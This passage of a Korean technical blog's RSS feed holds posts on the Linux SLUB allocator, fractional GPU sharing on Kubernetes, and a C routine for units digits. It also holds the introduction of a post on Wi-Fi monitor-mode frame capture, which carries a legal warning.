		&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;__slab_unlock&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;page&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;local_irq_restore&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flags&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

	&lt;span class=&quot;n&quot;&gt;cpu_relax&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;stat&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;CMPXCHG_DOUBLE_FAIL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

&lt;span class=&quot;cp&quot;&gt;#ifdef SLUB_DEBUG_CMPXCHG
&lt;/span&gt;	&lt;span class=&quot;n&quot;&gt;pr_info&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;%s %s: cmpxchg double redo &quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;n&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;#endif
&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;이때 slab empty를 판별하는 과정에서 NUMA node의 partial list 내 페이지 수 (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;n-&amp;gt;nr_partial&lt;/code&gt;) 와 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;s-&amp;gt;min_partial&lt;/code&gt;을 비교함을 확인하라. 이는 전달된 페이지에 할당된 slab이 없고, NUMA node에 이미 최소한의 partial slab이 확보되어 있음을 의미한다.&lt;/p&gt;

&lt;h2 id=&quot;references&quot;&gt;References&lt;/h2&gt;

&lt;ol&gt;
  &lt;li&gt;corbet, Apr. 2007, “The SLUB allocator,” LWN. [Online]. Available: https://lwn.net/Articles/229984/&lt;/li&gt;
  &lt;li&gt;Jeff Bonwick, “The Slab Allocator: An Object-Cacheing Kenrel Memory Allocator,” in Proc. USENIX Summer 1994 Technical Conference, Boston, Massachusetts, USA, Jun. 1994, pp. 87 – 98.&lt;/li&gt;
  &lt;li&gt;Jonathan Corbet, Jul. 2011, “Per-CPU variables and the realtime tree,” LWN. [Online]. Available: https://lwn.net/Articles/452884/&lt;/li&gt;
  &lt;li&gt;Kanoj Sarcar, et al., Nov. 1999, “What is NUMA?,” Linux Memory Management Documentation. [Online]. Available: https://www.kernel.org/doc/html/v4.18/vm/numa.html&lt;/li&gt;
  &lt;li&gt;“Optimizing Applications for NUMA,” Intel Guide for Developing Multithreaded Applications. [Online]. Available: https://www.intel.com/content/dam/develop/external/us/en/documents/3-5-memmgt-optimizing-applications-for-numa-184398.pdf&lt;/li&gt;
&lt;/ol&gt;
</description>
        <pubDate>Fri, 23 Aug 2024 00:00:00 +0000</pubDate>
        <link>https://slowanalyst.github.io/blog/Introduction-To-Implementation-Of-The-SLUB-Allocator-Via-Socket-Buffer-Allocation-And-Deallocation</link>
        <guid isPermaLink="true">https://slowanalyst.github.io/blog/Introduction-To-Implementation-Of-The-SLUB-Allocator-Via-Socket-Buffer-Allocation-And-Deallocation</guid>
      </item>
    
      <item>
        <title>Analysis about Fractional GPU on Kubernetes</title>
        <description>&lt;h2 id=&quot;contents&quot;&gt;Contents&lt;/h2&gt;
&lt;ol&gt;
  &lt;li&gt;Introduction&lt;/li&gt;
  &lt;li&gt;PCI Passthrough&lt;/li&gt;
  &lt;li&gt;Axiom of gpu-operator&lt;/li&gt;
  &lt;li&gt;Workarounds with gpu-operator
    &lt;ol&gt;
      &lt;li&gt;Use GPU devices on node without fixed allocation&lt;/li&gt;
      &lt;li&gt;Nvidia Time-Slicing&lt;/li&gt;
      &lt;li&gt;Nvidia MIG&lt;/li&gt;
    &lt;/ol&gt;
  &lt;/li&gt;
  &lt;li&gt;Workarounds without gpu-operator
    &lt;ol&gt;
      &lt;li&gt;gpushare-scheduler-extender&lt;/li&gt;
      &lt;li&gt;nvshare&lt;/li&gt;
    &lt;/ol&gt;
  &lt;/li&gt;
  &lt;li&gt;Conclusion&lt;/li&gt;
  &lt;li&gt;References&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;본 글에서는 gpu-operator에서 구성할 수 있는 GPU Passthrough 방법에 대한 공리와 공리를 우회할 수 있는 방법에 대해 논하고, gpu-operator를 차용하거나 차용하지 않는 환경에서의 한계가 존재하는 대안들을 설명한다.&lt;/p&gt;

&lt;h2 id=&quot;pci-passthrough&quot;&gt;PCI Passthrough&lt;/h2&gt;
&lt;p&gt;GPU 자원은 Host OS에 구성되어 있는 반면, Container의 경우 pivot_root, cgroup, namespace에 의해 격리되는 Process이다. GPU 자원은 pci에 의해 관리되므로 Container Runtime등을 통해 해당 pci Device를 연동해야 한다.&lt;/p&gt;

&lt;p&gt;GPU 연동을 제공하는 컴포넌트로 Docker 환경에서는 nvidia-docker, nvidia container toolkit이 있고, Kubernetes에서는 gpu-operator가 있다. gpu-operator의 경우 기존 Nvidia에서 제공하는 GPU 관련 컴포넌트를 하나의 Helm Chart로 통합한 개념이며, 컴포넌트 설명의 경우 글의 목적을 벗어나므로 생략한다.&lt;/p&gt;

&lt;h2 id=&quot;axiom-of-gpu-operator&quot;&gt;Axiom of gpu-operator&lt;/h2&gt;
&lt;p&gt;gpu-operator의 공리이자 제약조건은 하나의 Pod이 고정적으로 하나의 GPU를 차지하는 것이다.&lt;/p&gt;

&lt;p&gt;하나의 GPU가 단일 프로세스에 대해 Core / VRAM을 고정적으로 제공하는 구조가 아니므로 하나의 GPU가 여러 프로세스를 수행할 수 있지만, gpu-operator의 경우 Node &lt;a href=&quot;https://kubernetes.io/docs/tasks/administer-cluster/extended-resource-node/&quot;&gt;Extended Resource&lt;/a&gt;를 통해 Pod가 고정적으로 사용할 수 있는 GPU를 정의하고, kube-scheduler에 의해 PodSpec 내 requests 및 limits에 대응되는 Resource를 할당할 수 있는 (allocatable - requests or limits) Node를 찾아 Pod를 배치하는 구조를 통해 GPU 자원을 격리시킨다.&lt;/p&gt;

&lt;p&gt;즉, 실제 GPU는 여러 Process를 수용하지만, gpu-operator의 제약조건을 차용하게 되어 하나의 Pod만 특정 GPU를 사용할 수 있는 것이다. Node 내 일반 Process의 경우, 해당 제약조건 없이 GPU를 사용할 수 있다.&lt;/p&gt;

&lt;h2 id=&quot;workarounds-with-gpu-operator&quot;&gt;Workarounds with gpu-operator&lt;/h2&gt;
&lt;p&gt;고려사항은 다음과 같다.&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;GPU 내 Core / VRAM 단위의 자원 격리가 이루어지는가?&lt;/li&gt;
  &lt;li&gt;GPU:Pod = 1:N 연동이 구성될 경우, 대응되는 Pod의 개수가 추가 / 제거됨에 따라 Pod에 할당된 Core / VRAM이 변동되지 않는가?&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;use-gpu-devices-on-node-without-fixed-allocation&quot;&gt;Use GPU devices on node without fixed allocation&lt;/h3&gt;
&lt;p&gt;gpu-operator의 경우 Pod에 대한 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nvidia.com/gpu&lt;/code&gt; Resource Requests를 구성하지 않았을 경우 &lt;a href=&quot;https://github.com/NVIDIA/k8s-device-plugin/issues/61&quot;&gt;기본값으로 Node에 존재하는 모든 GPU를 사용할 수 있다.&lt;/a&gt;
따라서, gpu-operator의 제약조건을 차용하지 않고 여러 Pod에 대응되는 Process가 GPU를 동시에 사용하는 구성이다.&lt;/p&gt;

&lt;h3 id=&quot;nvidia-time-slicing&quot;&gt;Nvidia Time-Slicing&lt;/h3&gt;
&lt;p&gt;Nvidia Time-Slicing을 통해 GPU를 time-slicing하여 사용할 수 있다.
고정적으로 GPU의 자원을 1:N으로 분리하지만, 자원 격리가 Strict하게 구성되지 않아 VRAM 제한을 tensorflow / pytorch 코드 레벨에서 구성하지 않았다면 VRAM OOM이 발생할 수 있다.&lt;/p&gt;

&lt;h3 id=&quot;nvidia-mig&quot;&gt;Nvidia MIG&lt;/h3&gt;
&lt;p&gt;vGPU의 일종으로, Nvidia MIG (Multi-Instance GPU)를 제공하는 GPU를 통해 vGPU를 구성할 수 있다.
A30의 경우 최대 1:4, A100, H100의 경우 1:7의 GPU : vGPU 대응을 구성할 수 있다.
gpu-operator를 기반으로 간편하게 활성화하고 사용할 수 있지만, A30, A100, H100의 GPU에서만 사용할 수 있다.&lt;/p&gt;

&lt;h2 id=&quot;workarounds-without-gpu-operator&quot;&gt;Workarounds without gpu-operator&lt;/h2&gt;

&lt;h3 id=&quot;gpushare-scheduler-extender&quot;&gt;gpushare-scheduler-extender&lt;/h3&gt;
&lt;p&gt;Alibaba Cloud에서 개발한 gpushare-scheduler-extender의 경우 VRAM 단위의 Node Extended Resource를 제공한다.
다만, 구성상 VRAM 단위의 자원 격리가 이루어지지 않으며, 단순히 gpu-operator의 제약조건을 VRAM 단위로 변환시킨 정도에 불과하다. 따라서 pytorch / tensorflow등 code 레벨의 VRAM limit 구성을 요한다.
또한, scheduling을 제공하기 위해 kube-scheduler 내 args 추가 및 volumes 추가를 요해, k3s 혹은 microk8s등의 single node k8s에서는 사용할 수 없다.&lt;/p&gt;

&lt;h3 id=&quot;nvshare&quot;&gt;nvshare&lt;/h3&gt;
&lt;p&gt;nvshare의 경우 GPU:Pod = 1:N 연동을 구성하여 VRAM을 분할한다.
다만, GPU에 대응되는 Pod가 증감할 경우 Pod가 사용할 수 있는 VRAM이 증감하는 이슈가 존재하므로, 자원 격리는 존재하지만 고정적인 자원을 제공하지 못하는 이슈에 따라 프로덕션에서 적합하지 않다.&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;이렇게 gpu-operator의 제약조건과, 해당 제약조건을 극복하기 위해 상용 소프트웨어를 차용하지 않고 구성할 수 있는 workaround들을 나열하여 분석하였다.&lt;/p&gt;

&lt;p&gt;Core / VRAM 단위의 자원 격리의 경우 Open Source 기반으로 연동할 수 있는 방법을 찾지 못해, 다음과 같은 상황별 recommendation들을 구성하며 글을 맺는다.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Pod가 고정적으로 Core / VRAM 자원이 격리되는 하나 이상의 GPU를 사용해야 하는 경우 gpu-operator + &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nvidia.com/gpu&lt;/code&gt; 명시해서 사용&lt;/li&gt;
  &lt;li&gt;Pod가 Core / VRAM에 대한 noisy neighbor 현상을 용인할 수 있으며, 하나의 GPU에 여러 Pod를 사용해야 할 경우 gpu-operator + &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nvidia.com/gpu&lt;/code&gt; Resource 정의 없이 사용&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;references&quot;&gt;References&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/NVIDIA/nvidia-docker&quot;&gt;https://github.com/NVIDIA/nvidia-docker&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/NVIDIA/nvidia-container-toolkit&quot;&gt;https://github.com/NVIDIA/nvidia-container-toolkit&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/NVIDIA/gpu-operator&quot;&gt;https://github.com/NVIDIA/gpu-operator&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://docs.nvidia.com/datacenter/cloud-native/container-toolkit/1.10.0/user-guide.html#gpu-enumeration&quot;&gt;https://docs.nvidia.com/datacenter/cloud-native/container-toolkit/1.10.0/user-guide.html#gpu-enumeration&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/NVIDIA/gpu-operator/blob/main/deployments/gpu-operator/values.yaml#L258&quot;&gt;https://github.com/NVIDIA/gpu-operator/blob/main/deployments/gpu-operator/values.yaml#L258&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://docs.run.ai/v2.17/Researcher/scheduling/GPU-time-slicing-scheduler/&quot;&gt;https://docs.run.ai/v2.17/Researcher/scheduling/GPU-time-slicing-scheduler/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://developer.nvidia.com/blog/improving-gpu-utilization-in-kubernetes/&quot;&gt;https://developer.nvidia.com/blog/improving-gpu-utilization-in-kubernetes/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://docs.nvidia.com/datacenter/tesla/mig-user-guide/&quot;&gt;https://docs.nvidia.com/datacenter/tesla/mig-user-guide/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://docs.nvidia.com/datacenter/cloud-native/kubernetes/latest/index.html&quot;&gt;https://docs.nvidia.com/datacenter/cloud-native/kubernetes/latest/index.html&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/grgalex/nvshare&quot;&gt;https://github.com/grgalex/nvshare&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/AliyunContainerService/gpushare-scheduler-extender&quot;&gt;https://github.com/AliyunContainerService/gpushare-scheduler-extender&lt;/a&gt;&lt;/p&gt;
</description>
        <pubDate>Sun, 23 Jun 2024 05:50:00 +0000</pubDate>
        <link>https://slowanalyst.github.io/blog/Analysis-about-Fractional-GPU-on-Kubernetes</link>
        <guid isPermaLink="true">https://slowanalyst.github.io/blog/Analysis-about-Fractional-GPU-on-Kubernetes</guid>
      </item>
    
      <item>
        <title>A Method To Find The Units Digit Of A Given Decimal Without Using Division Or Modulo Operations</title>
        <description>&lt;h2 id=&quot;contents&quot;&gt;Contents&lt;/h2&gt;
&lt;ol&gt;
  &lt;li&gt;Introduction&lt;/li&gt;
  &lt;li&gt;Problem Description and Analysis&lt;/li&gt;
  &lt;li&gt;Solutions
    &lt;ol&gt;
      &lt;li&gt;Mapping units digit of each bit&lt;/li&gt;
    &lt;/ol&gt;
  &lt;/li&gt;
  &lt;li&gt;Conclusion&lt;/li&gt;
  &lt;li&gt;Appendix
    &lt;ol&gt;
      &lt;li&gt;Why if-else statements are counted?&lt;/li&gt;
    &lt;/ol&gt;
  &lt;/li&gt;
  &lt;li&gt;References&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;나눗셈이나 나머지 연산은, 특히 반도체 칩에게는, 상대적으로 비싼 비용을 치러야 하는 연산이다. 그럼에도 반도체 칩 설계자는 이를 사용하면 간단히 해결되는 문제를 종종 맞닥뜨리게 된다. 이때 설계자는 나눗셈이나 나머지 연산을 구현해서 해결하거나, 또다른 방법을 찾아야만 한다.&lt;/p&gt;

&lt;p&gt;본 글에서는 이러한 유형의 문제 중 하나를 해결한 방법을 다룬다. 다만, 문제를 해결한 방법을 구현한 코드는 Verilog HDL이 아닌 C로 제공할 것이다.&lt;/p&gt;

&lt;h2 id=&quot;problem-description-and-analysis&quot;&gt;Problem Description and Analysis&lt;/h2&gt;
&lt;p&gt;본 글에서 다루고자 하는 문제는 다음과 같다:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;0 - 1155 범위의 숫자가 주어질 때 주어진 수보다 작거나 같은 5의 배수 중에서 가장 큰 양의 정수를 구하는 프로그램을 작성하라. 단, 나눗셈이나 나머지 연산을 사용해서는 안되며, 가능한 적은 if-else 문을 사용해야 한다.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;위 문제는 주어진 수의 일의 자리를 구했을 때 얻은 수와 5의 차이만큼 주어진 수에서 빼서 해결할 수 있다. 다만, 나눗셈이나 나머지 연산을 사용하지 않아야 하므로 10으로 나눈 나머지로 일의 자리를 구하는 방법은 쓸 수 없다.&lt;/p&gt;

&lt;p&gt;즉, 이 문제는 주어진 수의 일의 자리를 제약 조건을 만족하면서 구할 수 있다면 해결된다.&lt;/p&gt;

&lt;h2 id=&quot;solutions&quot;&gt;Solutions&lt;/h2&gt;
&lt;p&gt;그럼 일의 자리를 구하는 방법을 알아보자. 여기에는 여러가지 방법이 있을 수 있으며, 그 중 간단한 방법으로는 단계적으로 특정 값을 빼는 것이 있다. 하지만 단계적으로 값을 빼는 방법은 if-else 문의 개수를 줄이는 방법에 대한 고민이 필요하므로 해결책이 되기 어렵다[1].&lt;/p&gt;

&lt;p&gt;여기서는 각 비트의 일의 자리를 매핑하는 방법을 설명할 것이다.&lt;/p&gt;

&lt;h3 id=&quot;mapping-units-digit-of-each-bit&quot;&gt;Mapping units digit of each bit&lt;/h3&gt;
&lt;p&gt;비트열의 각 비트는 십진수의 자릿수와 마찬가지로 자릿수를 가진다. Least significant bit (LSB)로부터 0번 째는 1 (2 ^ 0), 1번 째는 2 (2 ^ 1), 2번 째는 4 (2 ^ 2), 3번 째는 8 (2 ^ 3), … 과 같은 식으로 갖게 된다. 그리고 이러한 자릿수를 모두 더하여 십진수로 변환할 수 있다.&lt;/p&gt;

&lt;p&gt;여기서 일의 자리 이외의 자릿수는 관심 대상이 아니다. 즉, 최종적인 일의 자리에 해당하는 수는 비트열의 (1인 위치의) 각 자릿수의 일의 자리에 해당하는 수를 더하여 구할 수 있다. 그리고 자릿수의 일의 자리를 더해나갈 때, 그 값이 10을 초과하는지 매번 검사하여 초과한다면 10을 빼야할 것이다.&lt;/p&gt;

&lt;p&gt;예를 들어, 23의 일의 자리를 구한다고 하자. 23은 이진수로 10111(2)이다. 이때 더해야 하는 자릿수의 일의 자리는 LSB로부터 1, 2, 4, 6이다. 이들을 모두 더하면 13이므로 (10을 초과하므로) 10을 빼면 일의 자리인 3을 얻는다.&lt;/p&gt;

&lt;p&gt;그런데 본 문제에서 주어지는 수의 범위는 0 - 1155이므로 11 비트상에서 각 자릿수의 일의 자리를 switch case 문으로 매핑하고 이들을 더해나가면 된다. 그럼 일의 자리를 얻기 위해 하나의 switch case 문, 두 개의 if-else 문이 필요할 것으로 보인다. 이는 다음과 같이 C 코드를 작성해봄으로써 알 수 있다:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-C&quot;&gt;#include &amp;lt;stdio.h&amp;gt;

unsigned int map_units_digit_of_each_bit(unsigned int n)
{
  unsigned int res;

  switch (n) {
  case 0x000:
    res = 0;
    break;
  case 0x001:
    res = 1;
    break;
  case 0x002:
    res = 2;
    break;
  case 0x004:
    res = 4;
    break;
  case 0x008:
    res = 8;
    break;
  case 0x010:
    res = 6;
    break;
  case 0x020:
    res = 2;
    break;
  case 0x040:
    res = 4;
    break;
  case 0x080:
    res = 8;
    break;
  case 0x100:
    res = 6;
    break;
  case 0x200:
    res = 2;
    break;
  case 0x400:
    res = 4;
    break;
  default:
    res = 0;
    break;
  }
  return res;
}

unsigned int get_units_digit(unsigned int n, unsigned int len)
{
  unsigned int mask, i, digit_1;

  mask = 1;
  digit_1 = 0;
  for (i = 0; i &amp;lt; len; i++) {
    if (n &amp;amp; mask)
      digit_1 += map_units_digit_of_each_bit(mask);
    if (digit_1 &amp;gt;= 0xa)
      digit_1 -= 0xa;
    mask &amp;lt;&amp;lt;= 1;
  }
  return digit_1;
}

unsigned int get_biggest_multiple_of_5_less_than_n(unsigned int n,
						   unsigned int bitlen)
{
  unsigned int digit_1, res;

  digit_1 = get_units_digit(n, bitlen);
  if (digit_1 == 0x0 || digit_1 == 0x5) {
    res = n;
  } else if (digit_1 &amp;lt; 0x5) {
    res = n - digit_1;
  } else if (digit_1 &amp;gt; 0x5) {
    res = n - (digit_1 - 0x5);
  }
  return res;
}

int main()
{
  unsigned int n;

  for (n = 0; n &amp;lt; 1156; n++)
    printf(&quot;%d =&amp;gt; %d\n&quot;, n, get_biggest_multiple_of_5_less_than_n(n, 12));
  return 0;
}
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;지금까지 나눗셈이나 나머지 연산을 사용하지 않고 일의 자리를 구하는 방법에 대해 살펴보았다. 비록 실제 문제는 주어진 수보다 작거나 같은 5의 배수 중에서 가장 큰 수를 구하는 것이지만, 이를 해결하기 위해 반드시 해결해야 하는 핵심 문제는 일의 자리를 구하는 것이었다.&lt;/p&gt;

&lt;p&gt;물론, Verilog HDL이 아닌 C로 구현하였지만, Verilog HDL의 코딩 스타일을 알고 있다면 C 코드를 변환하는 것에 문제가 없을 것이라고 생각한다.&lt;/p&gt;

&lt;h2 id=&quot;appendix&quot;&gt;Appendix&lt;/h2&gt;

&lt;h3 id=&quot;why-if-else-statements-are-counted&quot;&gt;Why if-else statements are counted?&lt;/h3&gt;
&lt;p&gt;이를 이해하기 위해서는 Verilog HDL이 어떻게 synthesis (compile)되는지 이해해야 한다. Verilog HDL 코드는 synthesis를 거쳐서 논리 게이트로 변환된다. 이때 이를 수행하는 툴 중 대표적인 것으로 Design Compiler (DC)가 있다. 여기서 일반적으로 multiplexer (MUX)는 Verilog HDL에서 if와 case (C에서의 switch 문) 문으로 표현된다. 그리고 if-else if-else if- … -else는 chained multiplexer를 생성하고 이는 성능을 감소시킴이 알려져 있다. 그래서 if-else if-else가 얼마나 사용되는지 확인할 필요가 있는 것이다[2].&lt;/p&gt;

&lt;h2 id=&quot;references&quot;&gt;References&lt;/h2&gt;
&lt;ol&gt;
  &lt;li&gt;node ninja, “How to split a two-digit number up in Verilog,” 2011. [Online]. Available: https://stackoverflow.com/questions/5267331/how-to-split-a-two-digit-number-up-in-verilog, [Accessed Feb. 28, 2024].&lt;/li&gt;
  &lt;li&gt;“Design Compiler User Guide Version L-2016.03-SP2,” Synopsys, 2016.&lt;/li&gt;
&lt;/ol&gt;
</description>
        <pubDate>Thu, 29 Feb 2024 00:00:00 +0000</pubDate>
        <link>https://slowanalyst.github.io/blog/A-Method-To-Find-The-Units-Digit-Of-A-Given-Decimal</link>
        <guid isPermaLink="true">https://slowanalyst.github.io/blog/A-Method-To-Find-The-Units-Digit-Of-A-Given-Decimal</guid>
      </item>
    
      <item>
        <title>Dog Sniffing The Network: Monitor Mode To Wireless Frame Analysis</title>
        <description>&lt;h2 id=&quot;contents&quot;&gt;Contents&lt;/h2&gt;
&lt;ol&gt;
  &lt;li&gt;Introduction&lt;/li&gt;
  &lt;li&gt;Monitor Mode To Capture Wireless Frames
    &lt;ol&gt;
      &lt;li&gt;Opening wireless adapters via system calls&lt;/li&gt;
      &lt;li&gt;Ioctls of wireless adapters in Linux&lt;/li&gt;
      &lt;li&gt;Capturing wireless frames in the air&lt;/li&gt;
    &lt;/ol&gt;
  &lt;/li&gt;
  &lt;li&gt;Wireless Frame Anaylsis
    &lt;ol&gt;
      &lt;li&gt;Radiotap header&lt;/li&gt;
      &lt;li&gt;IEEE 802.11 frame&lt;/li&gt;
      &lt;li&gt;Channel hopping&lt;/li&gt;
    &lt;/ol&gt;
  &lt;/li&gt;
  &lt;li&gt;Conclusion&lt;/li&gt;
  &lt;li&gt;References&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;/h2&gt;
&lt;p&gt;와이파이 혹은 무선 랜 (Wireless LAN)상에서의 프레임을 캡처하는 프로그램을 작성하는 예제는 이미 많이 작성되어 있다. 그리고 이들은 대부분 libpcap이나 scapy, airodump-ng, airmon-ng 등을 사용한다. 물론, 이렇게 라이브러리를 사용하여 실습을 진행하는 것으로부터 많은 것을 배울 수 있다. 하지만 가능한 OS API와 표준 라이브러리만을 사용하여 구현해본다면, 보다 많은 것을 배울 수 있을 것이다.&lt;/p&gt;

&lt;p&gt;이에 본 글에서는 외부 라이브러리의 사용을 최소화하여 무선 랜 프레임을 캡처하는 프로그램을 작성하기 위한 지식을 다룬다. 여기서 다루는 코드를 컴파일하고 실행하기 위해서는 우선 모니터 모드를 지원하는 무선 랜 어댑터가 있어야 한다: ipTIME N150UA2 (2.4GHz) [3], ipTIME A2000UA-4dBi (2.4 &amp;amp; 5GHz) [4]. 그리고 개발 환경으로는 우분투 22.04 [5] (리눅스 커널 버전: 6.5.0-15-generic)를 권장하며, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sudo dmesg&lt;/code&gt; [6]를 사용할 수 있는 상태로 가정한다 (즉, 루트 권한도 사용할 수 있어야 한다).&lt;/p&gt;

&lt;p&gt;본 글에서 사용하는 예제 코드들은 대부분 코드 조각이므로 완전한 예제 코드는 Wireless tool in C repo (URL: https://github.com/david232818/Wireless-tool-in-C)를 참고하라.&lt;/p&gt;

&lt;p&gt;마지막으로, 당사자(송신인과 수신인)의 동의 없이, 그리고 통신비밀보호법, 형사소송법, 군사법원법의 규정에 의하지 않고 무선 랜 프레임을 캡처하는 것은 통신비밀보호법 제3조(통신 및 대화비밀의 보호) 등의 위반에 해당하며 제16조(벌칙) 등에 근거하여 법적 처벌을 받을 수 있다. 따라서 본 글의 내용은 모든 경우에 합법적이고, 연구 목적으로 사용되어야만 한다[11].&lt;/p&gt;

&lt;h2 id=&quot;monitor-mode-to-capture-wireless-frames&quot;&gt;Monitor Mode To Capture Wireless Frames&lt;/h2&gt;
&lt;p&gt;무선 랜 프레임을 캡처하기 위해서는 무선 랜 어댑터를 모니터 모드로 설정해야 하며, 이를 위해서는 해당 무선 랜 어댑터가 모니터 모드를 지원해야 한다. 이렇게 모니터 모드로 설정된 어댑터는 수신 가능한 범위에서 전송되고 있는 모든 패킷을 수신할 수 있다. 모니터 모드와 비슷하게 프레임을 캡처할 수 있는 프로미스큐어스 모드 (promiscuous mode)가 존재한다. 하지만 모니터 모드는 Access Point (AP)에 연결되지 않고도, 즉 공유기에 연결되지 않아도 프레임 캡처가 가능한 반면, 프로미스큐어스 모드는 공유기에 연결되어야 프레임 캡처가 가능하다[1, 2].&lt;/p&gt;

&lt;p&gt;우분투가 설치된 컴퓨터에 무선 랜 어댑터를 연결하면 커널은 해당 어댑터의 드라이버로 등록된 커널 모듈을 로드한다. 이는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sudo dmesg&lt;/code&gt; 명령어로 확인할 수 있으며, 무선 랜 어댑터의 경우 해당 어댑터에 해당하는 무선 랜 인터페이스의 이름이 표시된다[6].&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-Bash&quot;&gt;$ sudo dmesg
...
[91112.413237] usb 2-1: new high-speed USB device number 16 using ehci-pci
[91112.790635] usb 2-1: New USB device found, idVendor=148f, idProduct=7601, bcdDevice= 0.00
[91112.790650] usb 2-1: New USB device strings: Mfr=1, Product=2, SerialNumber=3
[91112.790659] usb 2-1: Product: 802.11 n WLAN
[91112.790669] usb 2-1: Manufacturer: MediaTek
[91112.790677] usb 2-1: SerialNumber: 1.0
[91113.133362] usb 2-1: reset high-speed USB device number 16 using ehci-pci
[91113.502626] mt7601u 2-1:1.0: ASIC revision: 76010001 MAC revision: 76010500
[91113.515830] mt7601u 2-1:1.0: Firmware Version: 0.1.00 Build: 7640 Build time: 201302052146____
[91116.893475] mt7601u 2-1:1.0: Vendor request req:07 off:0730 failed:-110
[91118.927602] mt7601u 2-1:1.0: EEPROM ver:0d fae:00
[91119.633770] ieee80211 phy14: Selected rate control algorithm &apos;minstrel_ht&apos;
[91119.808372] mt7601u 2-1:1.0 wlx588694f7cb14: renamed from wlan0
...
$
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;위 로그에서 “wlx588694f7cb14”가 무선 랜 인터페이스의 이름이 된다.&lt;/p&gt;

&lt;h3 id=&quot;opening-wireless-adapters-via-system-calls&quot;&gt;Opening wireless adapters via system calls&lt;/h3&gt;
&lt;p&gt;일반적으로 userland에서 디바이스를 제어하는 방법은 디바이스 파일을 열고 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ioctl()&lt;/code&gt;의 command를 사용하는 것이다. 그럼 우리는 다음 두 가지를 알아야 한다:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Opening wireless adpater like device file&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ioctl()&lt;/code&gt; command for wireless adapter that linux kernel provides&lt;/li&gt;
&lt;/ul&gt;

